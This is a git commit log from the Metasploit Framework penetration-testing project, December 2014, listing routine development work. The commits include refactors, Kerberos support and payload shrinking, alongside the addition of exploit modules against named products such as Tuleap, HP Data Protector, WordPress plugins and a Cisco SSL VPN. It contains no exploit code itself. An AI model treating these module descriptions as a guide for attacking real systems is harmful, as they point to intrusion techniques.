jvazquez-r7 883bfd1f46 Add support to retrieve e-data 2014-12-14 17:23:37 -06:00
jvazquez-r7 7067f2ea83 Modify Rex::Proto::Kerberos::Client to read responses 2014-12-14 16:32:25 -06:00
jvazquez-r7 c5dc065fde Add support for decoding KrbError 2014-12-14 16:26:18 -06:00
jvazquez-r7 704781d0ce Modify exception message 2014-12-14 12:11:09 -06:00
root 288954afa0 recvfrom allocation changed 2014-12-14 18:58:48 +01:00
Sean Verity 9a0ed723d1 Adds error handling for drive letter enumeration 2014-12-14 12:56:20 -05:00
Brendan Coles 4530066187 return nil 2014-12-15 01:04:39 +11:00
Brendan Coles 55d9e9cff6 Use list of potential analytics hosts 2014-12-14 23:15:41 +11:00
Brendan Coles f1f57c6ed9 Merge pull request #1 from jhart-r7/landing-4328
Minor improvements to actual analyzer ant cookie exploit
2014-12-14 23:04:13 +11:00
Meatballs 00b802cc68 Reindent description 2014-12-14 10:04:18 +00:00
jvazquez-r7 8435328af7 Fix create_tcp_connection 2014-12-14 00:54:26 -06:00
jvazquez-r7 0abf5d147e Add some documentation 2014-12-14 00:51:44 -06:00
rcnunez 223d6b7923 Merged with Fr330wn4g3's changes 2014-12-14 13:08:19 +08:00
Sean Verity 0c5f4ce4ee Removed the handler-ish code 2014-12-13 22:18:41 -05:00
Sean Verity 2addd0fdc4 Fixed name, removed tabs, updated license 2014-12-13 20:37:19 -05:00
HD Moore e3943682a2 Improves linux/armle payloads, lands #3315 2014-12-13 18:27:14 -06:00
HD Moore e2617c7095 Return the workspace id in responses, lands #4142 2014-12-13 18:04:58 -06:00
HD Moore 00590f9f26 Adds Java serialization support, lands #4327 2014-12-13 17:47:53 -06:00
HD Moore 6ea5ed1a82 Shrinks windows payloads, lands #4391 2014-12-13 17:41:50 -06:00
HD Moore f67a32ef9c Add missing commits from #3770, lands #4393 2014-12-13 17:36:26 -06:00
Meatballs 6ecf537f40 Grab user creds to database 2014-12-13 20:30:20 +00:00
Jon Hart fa071930c3 Land #4390 2014-12-13 11:26:17 -08:00
Brandon Perry eb47ca593e update desc to include domain admin information 2014-12-13 13:01:41 -06:00
Brandon Perry 2e94280cba mv bmc to scanner/http 2014-12-13 12:58:16 -06:00
HD Moore 19adfca8ce Updated stubs from source 2014-12-13 12:55:41 -06:00
HD Moore 5a645c5eba Stagers updated from source 2014-12-13 12:50:47 -06:00
Meatballs e914061745 Gsub out funny character when storing to database 2014-12-13 18:35:31 +00:00
Meatballs 316710329b Fix field.value 2014-12-13 18:31:29 +00:00
Meatballs 5d18de2ebf Fix legacy railgun LDAP implementation 2014-12-13 18:26:26 +00:00
HD Moore 92490ab5e8 Singles updated from the source 2014-12-13 12:22:07 -06:00
Meatballs d3d744a7cb Make sure we get the field :value 2014-12-13 18:13:36 +00:00
HD Moore 4681416a0f Update block_api with @schierlm's changes 2014-12-13 12:06:38 -06:00
Michael Schierl e8728943ec Shave off two more bytes for HTTP(s) stagers 2014-12-13 11:49:30 -06:00
Michael Schierl 69c938f65a More shellcode golf 2014-12-13 11:49:15 -06:00
Brandon Perry 8c6b95c39c Merge branch 'landing-4359' of https://github.com/jhart-r7/metasploit-framework into bmc_trackit 2014-12-13 11:37:57 -06:00
Brandon Perry cd1e61a201 Merge branch 'master' into bmc_trackit 2014-12-13 11:36:30 -06:00
jvazquez-r7 bde8c380c2 Make mixin run 2014-12-13 02:46:00 -06:00
Andrew Morris 8dd5da9d64 added blog post reference 2014-12-12 18:53:26 -08:00
jvazquez-r7 b1453afb52 Land #4297, fixes #4293, Use OperatingSystems::Match::WINDOWS
* instead of Msf::OperatingSystems::WINDOWS
2014-12-12 18:19:58 -06:00
jvazquez-r7 5eb510f7bc Use the correct variable for the filename 2014-12-12 17:40:26 -06:00
jvazquez-r7 27323bcaa5 Fix #3852, make enable_rdp with other languages 2014-12-12 17:30:14 -06:00
HD Moore f676b72767 Add Kademlia scanner, lands #4210 2014-12-12 16:40:58 -06:00
HD Moore 338cce02c9 Downcase the service name for consistency 2014-12-12 16:40:42 -06:00
HD Moore e088a4862e Deconflicts and lands #2395, a rework of persistence 2014-12-12 16:30:24 -06:00
HD Moore 4fc4866fd8 Merge code in from #2395 2014-12-12 16:22:51 -06:00
Tod Beardsley 488f46c8a1 Land #4324, payload_exe rightening.
Fixes #4323, but /not/ #4246.
2014-12-12 15:04:57 -06:00
Tod Beardsley 9545b6e4d6 Land #4343, os_flavor reduction 2014-12-12 14:49:15 -06:00
Tod Beardsley 9908e0e35b Land #4384, fix typo. 2014-12-12 14:39:47 -06:00
HD Moore 50b734f996 Add Portuguese target, lands #3961 (also reorders targets) 2014-12-12 14:23:02 -06:00
Tod Beardsley ac004d2770 Fix bruteforce validators to accept nil
bruteforce_speed isn't always required, because the speed checker
already handles nil (and presumes the user wants the fastest possible).

See also MSP-11842
2014-12-12 13:57:37 -06:00
Andrew Morris f5374d1552 Added report_service method for database support, added port number in the print_status output, removed arbitrary comments, fixed some spacing. Ready for another review from msf devs 2014-12-12 11:57:35 -08:00
jvazquez-r7 008c33ff51 Fix description 2014-12-12 13:36:28 -06:00
Tod Beardsley 183acb9582 Land #4383 to handle Dutch correctly. 2014-12-12 13:32:21 -06:00
Tod Beardsley 89169826b6 Land #4274, custom ssl certs on payload handlers 2014-12-12 13:25:55 -06:00
Tod Beardsley 81460198b0 Add openssl payload to distcc exploit
This is required to test #4274
2014-12-12 13:25:55 -06:00
Tod Beardsley 177cade6a5 Merge branch 'land-4274-ssl' into temp 2014-12-12 13:25:54 -06:00
wez3 3b6e92726c Update outlook rb, "NL" to "nl_NL"
Update outlook rb, "NL" to "nl_NL"
2014-12-12 20:09:34 +01:00
jvazquez-r7 c683e7bc67 Fix banner 2014-12-12 13:01:51 -06:00
jvazquez-r7 b1f7682713 Make msftidy happy 2014-12-12 12:59:00 -06:00
jvazquez-r7 493034ad10 Land #3305, @claudijd Cisco SSL VPN Privilege Escalation exploit 2014-12-12 12:57:00 -06:00
jvazquez-r7 047bc3d752 Make msftidi happy 2014-12-12 12:49:12 -06:00
jvazquez-r7 a1876ce6fc Land #4282, @pedrib's module for CVE-2014-5445, NetFlow Analyzer arbitrary download 2014-12-12 12:47:50 -06:00
jvazquez-r7 b334e7e0c6 Land #4322, @FireFart's wordpress exploit for download-manager plugin 2014-12-12 12:41:59 -06:00
jvazquez-r7 aaed7fe957 Make the timeout for the calling payload request lower 2014-12-12 12:41:06 -06:00
Jon Hart 00f66b6050 Correct named captures 2014-12-12 10:22:14 -08:00
jvazquez-r7 98dca6161c Delete unused variable 2014-12-12 12:03:32 -06:00
jvazquez-r7 810bf598b1 Use fail_with 2014-12-12 12:03:12 -06:00
Jon Hart 1e6bbc5be8 Use blank? 2014-12-12 09:51:08 -08:00
jvazquez-r7 4f3ac430aa Land #4341, @EgiX's module for tuleap PHP Unserialize CVE-2014-8791 2014-12-12 11:48:25 -06:00
jvazquez-r7 64f529dcb0 Modify default timeout for the exploiting request 2014-12-12 11:47:49 -06:00
Jon Hart 24f1b916e0 Minor ruby style cleanup 2014-12-12 09:47:35 -08:00
Jon Hart 1d1aa5838f Use Gem::Version to compare versions in check 2014-12-12 09:47:01 -08:00
jvazquez-r7 d01a07b1c7 Add requirement to description 2014-12-12 11:42:45 -06:00
jvazquez-r7 fd09b5c2f6 Fix title 2014-12-12 10:52:18 -06:00
jvazquez-r7 4871228816 Do minor cleanup 2014-12-12 10:52:06 -06:00
jvazquez-r7 a0b181b698 Land #4335, @us3r777 JBoss DeploymentFileRepository aux module 2014-12-12 10:40:03 -06:00
jvazquez-r7 3059cafbcb Do minor cleanup 2014-12-12 10:37:50 -06:00
Jon Hart 74b7ecc2e5 Land #4379 2014-12-12 07:47:03 -08:00
Trevor Rosen 38bcca9d0b Land #4368, metasploit-credential version bump 2014-12-12 09:42:24 -06:00
Jon Hart 751bc7a366 Revert "Move to a more appropriate location"
This reverts commit 6c82529266.
2014-12-12 07:42:22 -08:00
Jon Hart 6c82529266 Move to a more appropriate location 2014-12-12 07:40:37 -08:00
David Maloney 7228958738 update lockfile 2014-12-12 09:27:34 -06:00
Christian Mehlmauer 0f27c63720 fix msftidy warnings 2014-12-12 13:16:21 +01:00
sinn3r 985245e8a1 Document method
Fix #4366 (support dynamic_base templates)
2014-12-12 01:22:32 -06:00
jvazquez-r7 78eb3325bc Add initial Rex Client and mixin 2014-12-12 01:20:14 -06:00
sinn3r b8e58d0f04 Support 32 and 64-bit for exe-only, and fix -k 2014-12-12 01:13:09 -06:00
Brent Cook fef9c67b0e Land #3175, OJ's TLV group refactoring 2014-12-11 22:12:35 -06:00
Brent Cook ecd73e5901 Update meterpreter_bins to 0.0.12
This adjusts to the new grouped TLV format for the extapi adsi and
window list commands.
2014-12-11 22:03:23 -06:00
Brent Cook 8140ed4a45 Merge branch 'upstream-master' into land-3175 2014-12-11 22:03:03 -06:00
Jon Hart 6b117d7858 Land #4375 2014-12-11 19:01:14 -08:00
Jon Hart 65b316cd8c Land #4372 2014-12-11 18:48:16 -08:00
Jon Hart e5e40307e6 Land #4373 2014-12-11 18:45:53 -08:00
sinn3r d311059e75 Fix DYNAMIC_BASE templates 2014-12-11 20:44:03 -06:00
Jon Hart 79662be8fe Land #4371 2014-12-11 18:37:53 -08:00
Jon Hart 9bf55ef8f4 Minor improvements to datastore and http// checks in msftidy 2014-12-11 18:36:42 -08:00
James Lee 0c1d02c940 Fix event handlers on ruby 2
Fixes #4219
2014-12-11 20:08:45 -06:00
Jon Hart 3c2a33a316 Allow new password to be specified as an option 2014-12-11 17:26:42 -08:00
Jon Hart a013dbf536 Correct and add more prints 2014-12-11 17:16:43 -08:00
Jon Hart 48dcfd9809 Use random security Q/A 2014-12-11 17:10:33 -08:00
Jon Hart f208f31a33 Use correct username/domain in report_vuln
It would be nice if 'vulns' showed this
2014-12-11 16:59:21 -08:00
Jon Hart 70fce0bb33 Report the changed password 2014-12-11 16:56:22 -08:00
Jon Hart f64a3be742 Avoid death by a thousand functions 2014-12-11 16:53:36 -08:00
Jon Hart 0627f708a2 Better handling of failed requests 2014-12-11 16:51:41 -08:00
Jon Hart f2bda05d42 Correct last of the print_ 2014-12-11 16:28:08 -08:00
Jon Hart 9486f67fbc report_vuln upon exploitation with more specific details 2014-12-11 16:28:08 -08:00
Jon Hart 37d0959fd6 Include info in report_vuln. More style 2014-12-11 16:28:08 -08:00
Jon Hart cfb02fe909 Add check support 2014-12-11 16:28:07 -08:00
Jon Hart 44818ba623 Minor style and usage updates as a result of Scanner 2014-12-11 16:28:07 -08:00
Jon Hart 0a29326ce7 Mixin Scanner. Yay speed! 2014-12-11 16:28:07 -08:00
Jon Hart c9acd7a233 Remove unnecessary RPORT, which comes from HttpClient 2014-12-11 16:28:07 -08:00
Jon Hart f8c25d83e5 Use get_cookies instead 2014-12-11 16:26:51 -08:00
jvazquez-r7 20836c1789 Refactor crypto usage 2014-12-11 18:18:37 -06:00
jvazquez-r7 0b2fd7ffec Update PreAuthEncTimeStamp#encrypt documentation 2014-12-11 17:08:04 -06:00
jvazquez-r7 424ce6ad53 Add constant with CRYPTO_MSG_TYPE 2014-12-11 17:03:46 -06:00
jvazquez-r7 38a0506f2d Refactor Crypto 2014-12-11 17:00:46 -06:00
Christian Mehlmauer 544f75e7be fix invalid URI scheme, closes #4362 2014-12-11 23:34:10 +01:00
Christian Mehlmauer de88908493 code style 2014-12-11 23:30:20 +01:00
Christian Mehlmauer 00b16eee1f Land #4369, ruby style method names 2014-12-11 23:17:18 +01:00
Christian Mehlmauer be1440bcb9 more msftidy checks 2014-12-11 23:10:07 +01:00
jvazquez-r7 35f02e6796 Add support to encode KdcRequest 2014-12-11 15:51:54 -06:00
Tod Beardsley af9979d30b Ruby style on methods please
Introduced in #4220. This ain't no JavaScript!
2014-12-11 15:24:30 -06:00
David Maloney 9c13183f20 use latest credential gem
this fixes issues with post modules trying
to set a Login's status back to UNTRIED
after it has already been tried

MSP-11782
2014-12-11 15:22:08 -06:00
dmaloney-r7 47c38ed04e Merge pull request #4364 from todb-r7/bug/bruteforce-speed-3904
Modules should respect bruteforce_speed again
2014-12-11 13:19:42 -06:00
jvazquez-r7 d96206b813 Support KdcRequest#encode 2014-12-11 12:44:17 -06:00
Tod Beardsley 4eaf64afef Don't lie about stop_on_success
This absolutely needs to be honored too, though.

See #4365.
2014-12-11 12:37:13 -06:00
jvazquez-r7 3f12c5c9c5 Redo decode_asn1 2014-12-11 12:34:47 -06:00
jvazquez-r7 8d6e41fae3 Add documentation for KdcRequest 2014-12-11 12:27:26 -06:00
jvazquez-r7 162d2d39b5 Add support for KdcRequestBody decoding 2014-12-11 12:19:26 -06:00
Tod Beardsley 51762e1194 Explicitly include the HTTP Login scanner
This should be the last commit that fixes #3904.
2014-12-11 11:08:08 -06:00
Tod Beardsley b533f74024 Add a bruteforce_speed option to all LoginScanners 2014-12-11 11:06:32 -06:00
Jon Hart 24dbc28521 Land #4356 2014-12-11 09:03:18 -08:00
Brandon Perry 54e8254a82 Update bmc_trackit_passwd_reset.rb 2014-12-11 10:59:43 -06:00
Tod Beardsley fbd1e9ba6e Add a spec for the Base LoginScanner
Turns out, there wasn't one.

This tests what I've changed, at least.
2014-12-11 10:48:48 -06:00
Tod Beardsley edf541fabe Fix some double spacing 2014-12-11 09:39:15 -06:00
Andrew Morris 7afa87f168 screwed up formatting. updated indention at the end. ok seriously, going to bed now 2014-12-11 01:05:56 -08:00
Andrew Morris 291166e1ff forgot to run through msftidy.rb. made a few minor corrections 2014-12-11 00:47:39 -08:00
Andrew Morris a1624c15ae Addressed some recommendations made by wvu-r7. Need to remove some comments, add reporting, etc. 2014-12-11 00:40:20 -08:00
Andrew Morris 22c9db5818 added detect_kippo.rb 2014-12-10 19:37:35 -08:00
Brandon Perry 67cf3e74c0 Update bmc_trackit_passwd_reset.rb 2014-12-10 20:45:54 -06:00
jvazquez-r7 39ffc0c58a Add support for PreAuthData#encode 2014-12-10 19:48:44 -06:00
jvazquez-r7 b89dee03c6 Add PreAuthEncTimeStamp#encode support 2014-12-10 19:30:21 -06:00
jvazquez-r7 3accdb705b Add support for PreAuthPacRequest#encode 2014-12-10 19:18:19 -06:00
jvazquez-r7 96c1370334 Add EncryptedData#encode support 2014-12-10 19:12:24 -06:00
Brandon Perry 90cc9a9bed Update bmc_trackit_passwd_reset.rb 2014-12-10 19:05:46 -06:00
jvazquez-r7 543ec35a01 Refactor PrincipalName#encode 2014-12-10 18:57:23 -06:00
Brandon Perry f37dc13a19 Create bmc_trackit_passwd_reset.rb 2014-12-10 18:54:37 -06:00
jvazquez-r7 475014820f Add asn1 comments for specs 2014-12-10 18:47:41 -06:00
jvazquez-r7 5d2ff5982e Add support for PreAuthEncTimeStamp decoding/decrypting 2014-12-10 18:33:46 -06:00
Tod Beardsley 0eea9a02a1 Land #3144, psexec refactoring 2014-12-10 17:30:39 -06:00
Meatballs c813c117db Use DNS names 2014-12-10 22:25:44 +00:00
Marc Wickenden 245b76477e Fix issue with execution of perl due to gsub not matching across newlines 2014-12-10 21:38:04 +00:00
sinn3r 9202c4f2a1 No mercy for os_flavor 2014-12-10 11:46:21 -06:00
jvazquez-r7 785ff60d8e Add inital support for PreAuthEncTimeStamp 2014-12-10 11:25:48 -06:00
jvazquez-r7 8ec403af89 Add support for PA-PAC-REQUEST 2014-12-10 10:51:37 -06:00
jvazquez-r7 6ebfbe7271 Prefix coding 2014-12-10 09:54:57 -06:00
jvazquez-r7 11acba3324 Prefix coding 2014-12-10 09:52:23 -06:00
jvazquez-r7 6653502e68 Support pa_data parsing on kdc_request 2014-12-10 09:47:31 -06:00
Matthew Hall ea08fc0767 modules/exploits/windows/misc/hp_dataprotector_dll_cmd_exec.rb 2014-12-10 10:28:38 +00:00
Matthew Hall c97a3d9e2e modules/exploits/windows/misc/hp_dataprotector_dll_cmd_exec.rb 2014-12-10 09:14:01 +00:00
Spencer McIntyre 86ae104580 Land #4325, consistent mssql module names 2014-12-09 21:52:05 -05:00
sinn3r 87c83cbb1d Another round of name corrections 2014-12-09 20:16:24 -06:00
jvazquez-r7 cc909ba402 Add documentation for PreAuthData 2014-12-09 19:57:16 -06:00
Jonathan Claudius e89a399f95 Merge remote-tracking branch 'upstream/master' into add_cisco_ssl_vpn_priv_esc 2014-12-09 20:55:01 -05:00
sinn3r bac677ec5e Fix rspec 2014-12-09 19:47:29 -06:00
sinn3r 2d1bc9b039 Land #4346 - Msfvenom should pass the datastore to encoders too 2014-12-09 19:41:19 -06:00
jvazquez-r7 094361ff86 Require spec_helper on specs 2014-12-09 19:39:11 -06:00
jvazquez-r7 18819ad6b9 Prefix Rex 2014-12-09 19:37:42 -06:00
jvazquez-r7 0a6e42968b Add inital support for padata 2014-12-09 19:28:40 -06:00
jvazquez-r7 e62628f1cc Make specs pass 2014-12-09 18:52:42 -06:00
jvazquez-r7 2557780e7c Add initial support to decode kdc requests 2014-12-09 18:48:08 -06:00
Samuel Huckins 776bad9033 Lands #4342, update to metasploit-credential 2014-12-09 18:33:30 -06:00
jvazquez-r7 bed1e06d13 Mark EncryptedData encode as unsupported atm 2014-12-09 17:06:51 -06:00
jvazquez-r7 82549315ff Mark KdcRequestBody encode as unsupported atm 2014-12-09 17:05:20 -06:00
jvazquez-r7 24715bf78d Require spec_helper 2014-12-09 16:52:37 -06:00
jvazquez-r7 b84840a596 Add support to decode TGS_REQ body 2014-12-09 16:51:34 -06:00
jvazquez-r7 f236438290 Add initial support for EncryptedData 2014-12-09 16:40:44 -06:00
jvazquez-r7 2725235bc1 Add require for EncryptedData 2014-12-09 16:28:37 -06:00
jvazquez-r7 a7c1d12124 Mv KdcRequestBody spec to the correct folder 2014-12-09 16:04:17 -06:00
jvazquez-r7 c5865c6fec Add initial design draft 2014-12-09 15:53:29 -06:00
Tod Beardsley 09617f990b Implement BRUTEFORCE_SPEED respect (telnet)
This implements just for telnet, but assuming this strategy is kosher,
it's not too painful to add for the rest of the LoginScanner using the
old defaults used by `AuthBrute`.

See #3904, @dmaloney-r7 or @jlee-r7
2014-12-09 15:40:43 -06:00
David Maloney 703f6128e6 update lock file 2014-12-09 15:37:40 -06:00
Spencer McIntyre d74a8f6c41 Include the datastore options for the encoder too 2014-12-09 16:32:41 -05:00
HD Moore 176296681a Fix heartbleed cert parsing, lands #4338, closes #4309 2014-12-09 14:58:27 -06:00
Tod Beardsley ec53498aca Land #4333 with URL pointer, ty @wchen-r7
Long live msfvenom!

People who have a bug or complaint about msfencode or msfpayload should
be pointed at http://r-7.co/msfvenom-2015

See #4326 (and close it?)
2014-12-09 13:17:11 -06:00
Tod Beardsley 3bc40b8fe4 Add a link to PR #4333 in the message
That way, people can see why this is if they care to.

While we have a link to the blog post at http://r-7.co/msfvenom-2015 , I
fear that by the time spring of 2015 rolls around, we'll be on a
different blogging platform and the link may be busted. I'm certain
we'll still be on GitHub then, though.
2014-12-09 13:04:35 -06:00
sinn3r a584a5982f Clarify about how BES uses os_flavor
We don't. We don't use os_flavor anymore because it is no longer
implemented. We get the information from os_name instead.
2014-12-09 12:21:59 -06:00
sinn3r c670bb72df Land #4337 - Fix prompt coloring on Windows 2014-12-09 11:53:35 -06:00
David Maloney 7d37756e64 pull latest version of Metasploit-Credential
fixes multi-threaded handling of uniqueness validations
around credential objects

MSP-11757
2014-12-09 11:39:24 -06:00
Brent Cook 5f2de2eae6 Land #4329, zeroSteiner's error messages for python meterpreter 2014-12-09 11:16:41 -06:00
Spencer McIntyre 0ee20561d4 Remove file exists check from stdapi_fs_delete_file 2014-12-09 11:03:57 -06:00
Spencer McIntyre 42710cc32e Error messages for the python meterpreter 2014-12-09 11:03:57 -06:00
sinn3r bb8dfdb15f Ensure consistency for mssql modules 2014-12-09 10:28:45 -06:00
Matthew Hall 60edda4ff1 add hp data protector exploit 2014-12-09 14:12:37 +00:00
EgiX 700ccc71e7 Create tuleap_unserialize_exec.rb 2014-12-09 10:15:46 +01:00
Christian Mehlmauer 916503390d use get_data 2014-12-08 22:49:02 +01:00
Christian Mehlmauer fb9724e89d fix heartbleed cert parsing, fix #4309 2014-12-08 21:58:38 +01:00
Luke Imhoff 5f730277cf Fix prompt coloring on Windows
MSP-11669

Set output stream for RbReadline (rl_outstream) to the
Rex::Ui::Text::Output::Stdio, which will use translate the ANSI color
escapes to set_color calls in Windows.
2014-12-08 14:31:00 -06:00
William Vu 4a47f0fd28 Land #4334, @todb-r7's cosmetic fixes 2014-12-08 12:03:32 -06:00
us3r777 4abfb84cfc Upload WAR through Jboss DeploymentFileRepository 2014-12-08 19:02:51 +01:00
Tod Beardsley 909971e0bf Margins on description, PowerShell not Powershell 2014-12-08 10:57:49 -06:00
Tod Beardsley 80dc781625 Email over E-mail
While I believe "e-mail" is the actually correct spelling, we tend to
say "email" everywhere else. See:

````
todb@mazikeen:~/git/rapid7/metasploit-framework$ grep -ri "print.*email"
modules/ | wc -l
19
[ruby-2.1.5@metasploit-framework](fixup-grammar)
todb@mazikeen:~/git/rapid7/metasploit-framework$ grep -ri
"print.*e-mail" modules/ | wc -l
1
````
2014-12-08 10:55:26 -06:00
sinn3r d8da4700ea Deprecate msfpayload and msfencode
See #4326, but it does not close it.
2014-12-08 10:49:12 -06:00
Luke Imhoff 8c0610cb7a Merge branch 'master' into feature/MSP-11671/test-optimization
MSP-11671

Conflicts:
	.travis.yml
2014-12-08 08:46:22 -06:00
jvazquez-r7 191dc291be Fix java_serializer specs 2014-12-07 23:45:31 -06:00
jvazquez-r7 d1d20ee614 Add #to_s 2014-12-07 17:52:39 -06:00
jvazquez-r7 564da4446e Add print friendly to_s 2014-12-07 17:52:09 -06:00
Christian Mehlmauer 738fc78883 Land #4220, outlook gather post module 2014-12-07 22:41:28 +01:00
Pedro Ribeiro 98e416f6ec Correct OSVDB id 2014-12-07 17:54:31 +00:00
Pedro Ribeiro e474ecc9cf Add OSVDB id 2014-12-07 17:41:35 +00:00
jvazquez-r7 37fbe963b5 Land #3729, @us3r777's Jboss deploymentfilerepository refactoring 2014-12-06 21:51:27 -06:00
jvazquez-r7 54705eee48 Fix option parsing 2014-12-06 21:50:54 -06:00
jvazquez-r7 19effa7eb9 Fix feedback's review 2014-12-06 21:47:55 -06:00
jvazquez-r7 21742b6469 Test #3729 2014-12-06 21:20:52 -06:00
Brendan Coles 42744e5650 Add actualanalyzer_ant_cookie_exec exploit 2014-12-06 19:09:20 +00:00
wez3 e7503bf69f Merge pull request #2 from FireFart/outlook_fix
Outlook fix
2014-12-06 12:08:06 +01:00
Christian Mehlmauer cc63d435c7 another whitespace 2014-12-06 09:32:22 +01:00
jvazquez-r7 ff99669cfa Explain better error 2014-12-05 20:30:22 -06:00
jvazquez-r7 2c290e2004 Use classes short name 2014-12-05 20:16:50 -06:00
jvazquez-r7 8f403f3eea Update documentation 2014-12-05 20:11:45 -06:00
jvazquez-r7 03740df931 Support serialization 2014-12-05 19:55:52 -06:00
jvazquez-r7 785006b684 Use references 2014-12-05 19:12:05 -06:00
William Vu 1cc6dc61cd Land #4286, rm documentation
Moved to GitHub.
2014-12-05 17:52:45 -06:00
Christian Mehlmauer f0a47f98bc final formatting 2014-12-06 00:38:05 +01:00
jvazquez-r7 ae608b1311 Add references to stream when possible 2014-12-05 17:35:38 -06:00
Christian Mehlmauer f1f743804e more formatting 2014-12-06 00:31:38 +01:00
Christian Mehlmauer 9187a409ec outlook post module fixes 2014-12-06 00:28:44 +01:00
jvazquez-r7 13d8058fe5 Fill stream attribute 2014-12-05 17:14:37 -06:00
Jon Hart 39790a95a0 Land #4313, @wchen-r7's fix for #4304 2014-12-05 15:08:35 -08:00
jvazquez-r7 ca164cd99f Support the stream attribute 2014-12-05 16:52:59 -06:00
jvazquez-r7 90e2bbbff5 Refactor Contents 2014-12-05 16:05:35 -06:00
Jon Hart da92e4705c Land #4319, @wchen-r7's fix for #4307 2014-12-05 12:08:39 -08:00
William Vu 2f98a46241 Land #4314, @todb-r7's module cleanup 2014-12-05 14:05:09 -06:00
William Vu 38d1b21eba Land #4303, Travis build blacklist
gh-pages, metakitty
2014-12-05 14:03:38 -06:00
Tod Beardsley 0431720a07 Land #4294, msfconsole speedups on module load
Related to #4257 and #4195 vaguely, and possibly even #4147.
2014-12-05 13:45:11 -06:00
Luke Imhoff 53df308752 Combine cucumber and cucumber:boot into one job
MSP-11671

The run times for cucumber are so much faster now that `spec --tag
content` is actually the slowest job (on 1.9.3).  The job is so slow
that the two cucumbers can be merged together and they will take the
same time, but we'll consume 2 fewer job slots (1 for 1.9.3 and 1 for
2.1), so the longer per job time is better as long as it does become the
longest job time.
2014-12-05 13:37:18 -06:00
Luke Imhoff 3d0fa84454 Don't install development gems on travis-ci
MSP-11671

Development group contains only yard+redcarpet, which is used to
generated documentation, which isn't done on travis-ci, and pry, which
is used for the msfconsole command, which isn't tested on travis-ci.
2014-12-05 13:30:24 -06:00
Luke Imhoff 328e96fed0 Don't install documentation on travis-ci
MSP-11671

Passs `--no-ri --no-rdoc` to gem.
2014-12-05 13:29:18 -06:00
Luke Imhoff da35c111c7 bundler_env -> bundler_args
MSP-11671

`bundler_env` isn't an option, it's called bundler_args.
2014-12-05 12:46:05 -06:00
jvazquez-r7 2241653cb6 Delete self.stream initialization 2014-12-05 12:44:04 -06:00
jvazquez-r7 f5a19b9b41 Add support to decode TC_REFERENCE 2014-12-05 12:42:27 -06:00
Luke Imhoff 633b4b9e51 Disable simplecov on travis-ci
MSP-11671

`bundler install --without coverage` will not install `simplecov`.
Running without simplecov changes the average runtime of `rake
cucumber:boot` from (n=13) 112.50 seconds to (n=10) 32.17 seconds
(-71.41%). (-73.68% from 2c1203ba49d49603aec169eed053ab929ccdedc6.)  Raw
data:
https://docs.google.com/spreadsheets/d/1vCRi_38Go3Wfq670eDCXMTSSXL1blSbk6NQsgpOqfYw/edit?usp=sharing.
2014-12-05 11:58:09 -06:00
sinn3r 4b06334455 Minor title change for mssql_enum_domain_accounts_sqli
We don't really do "-" for naming

Kind of stands up on a list
2014-12-05 11:42:08 -06:00
sinn3r 7ae786a53b Add a comment as an excuse to tag the issue
Fix #4246

... so it will automatically close the ticket.
2014-12-05 11:26:26 -06:00
sinn3r f25e3ebaaf Fix #4246 - More undef 'payload_exe' in other modules
Root cause: payload_exe is an accessor in the TFPT command stager
mixin, you need stager_instance in order to retreive that info.
2014-12-05 11:19:58 -06:00
sinn3r abf199f924 Remove junk code 2014-12-05 11:01:34 -06:00
headlesszeke 8d1ca872d8 Now with logging of command response output 2014-12-05 10:58:40 -06:00
Luke Imhoff 08a8cee08a Don't require simplecov in cucumber env.rb
MSP-11671

All features currently use aruba to run msfconsole in a separate process
and it is that child process that needs to load simplecov.  Changes
average runtime for `rake cucumber:boot` from (n=10) 122.21 seconds to
(n=13) 112.50 seconds (-7.50%).  Raw data:
https://docs.google.com/spreadsheets/d/1vCRi_38Go3Wfq670eDCXMTSSXL1blSbk6NQsgpOqfYw/edit?usp=sharing
2014-12-05 10:21:58 -06:00
Christian Mehlmauer 5ea062bb9c fix bug 2014-12-05 11:30:45 +01:00
Christian Mehlmauer 55b8d6720d add wordpress download-manager exploit 2014-12-05 11:17:54 +01:00
sinn3r e3f7398acd Fix #4246 - Access payload_exe information correctly
This fixes an undef method 'payload_exe' error. We broke this when
all modules started using Msf::Exploit::CmdStager as the only source
to get a command stager payload. The problem with that is "payload_exe"
is an accessor in CmdStagerTFTP, not in CmdStager, so when the module
wants to access that, we trigger the undef method error.

To be exact, this is the actual commit that broke it:
7ced5927d8

Fix #4246
2014-12-05 02:08:13 -06:00
jvazquez-r7 1653101da4 Add support for Arrays of Objects 2014-12-04 20:31:38 -06:00
Jon Hart 85e0d72711 Land #4229, @tatehansen's module for CVE-2014-7992 2014-12-04 17:20:49 -08:00
Jon Hart f0cfcd4faf Update dlsw_leak_capture name and print_
This makes it more obvious exactly what is being scanned for
2014-12-04 17:20:01 -08:00
jvazquez-r7 8e5dc27546 Support Objects with super classes 2014-12-04 19:19:42 -06:00
jvazquez-r7 4b8bdad44b Refactor contents serialization 2014-12-04 18:28:25 -06:00
sinn3r cfc1acfcae Fix #4307 - Check action for nil
Auxiiary modules already do this, but looks like we forgot to do the
same for post modules.

I also changed the error to allow "reason" in order to be more
informative about what the user should do.

Fix #4307
2014-12-04 17:07:59 -06:00
jvazquez-r7 8c11e6047b Add specs for the JavaDeserializer tool 2014-12-04 16:33:33 -06:00
Tod Beardsley 9f42dbd51c Land #4317 and #4306, fix netmask tomfoolery 2014-12-04 16:28:54 -06:00
Brent Cook 051d2f1c39 Land #4302, zeroSteiner's fix getuid for the python meterpreter 2014-12-04 16:11:55 -06:00
Meatballs b634bde8a1 Lateral movement through PSRemoting 2014-12-04 22:06:28 +00:00
Jon Hart 743e9fca9d Correctly set default SECRET 2014-12-04 14:06:22 -08:00
Jon Hart 1e423f415e Add missing opt , 2014-12-04 14:05:17 -08:00
Spencer McIntyre 83b0ac0209 Fix stdapi_sys_config_getenv for Python3 2014-12-04 15:58:17 -06:00
Spencer McIntyre 44816b84aa Prefer the pwd module for getuid when available 2014-12-04 15:58:17 -06:00
Pedro Ribeiro e5bdf225a9 Update netflow_file_download.rb 2014-12-04 21:32:19 +00:00
Jon Hart 52851d59c0 Update GATEWAY to GATEWAY_PROBE_HOST, add GATEWAY_PROBE_PORT 2014-12-04 13:26:16 -08:00
Jon Hart b35eee3935 Merge branch '4306' into 4305 2014-12-04 13:22:42 -08:00
Jon Hart 6bd56ac225 Update any modules that deregistered NETMASK 2014-12-04 13:22:06 -08:00
Jon Hart 7f425fc3ab Configurable fix for #4305
Rename UDP_SECRET to just SECRET, as it is used for more than just UDP

Rename and properly document GATEWAY option

Introduce an option to configure what UDP port will be probed
2014-12-04 13:17:34 -08:00
